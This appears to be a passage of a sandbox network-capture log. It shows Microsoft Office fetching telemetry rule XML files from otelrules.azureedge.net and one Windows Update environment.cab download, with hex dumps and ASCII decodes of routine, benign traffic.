55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:19 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164219Z-185f5d8b95csp6jmhC1NYCwy6s0000000ae000000000gxp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:20 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164219Z-185f5d8b95c96jn4hC1NYCbgp80000000akg000000002tp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:42:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:20 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164220Z-1777c6cb754wcxkwhC1TEB3c6w00000009r000000000qesp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:20 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164220Z-185f5d8b95crl6swhC1NYC3ueg0000000am000000000rw60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:22 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164222Z-185f5d8b95cdh56ghC1NYCk1x4000000047000000000xuzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 16:42:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164222Z-1777c6cb754n67brhC1TEBcp9c0000000a00000000003d86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164222Z-185f5d8b95csd4bwhC1NYCq7dc0000000abg00000000qs38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:23 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 06bc2162-901e-0016-6af6-3aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164222Z-185f5d8b95cp7lkfhC1NYC7rpw0000000am000000000qdx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:23 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164222Z-r1d97b9957744xz5hC1TEB5bf8000000092g000000004aby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:23 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49932	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:22 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1ChdEyHYRNkdE3F&MD=2f2hpuyv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 16:42:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: a29cec75-87b5-4397-9ea6-782d225fe72a MS-RequestId: 1f05cf3d-082b-4e0b-9ea7-e6c9262edfa7 MS-CV: yH3+H0hgHk2XVWuJ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 16:42:22 GMT Connection: close Content-Length: 30005
2024-11-20 16:42:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 16:42:23 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:24 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:25 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164225Z-185f5d8b95c96jn4hC1NYCbgp80000000agg00000000cgdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 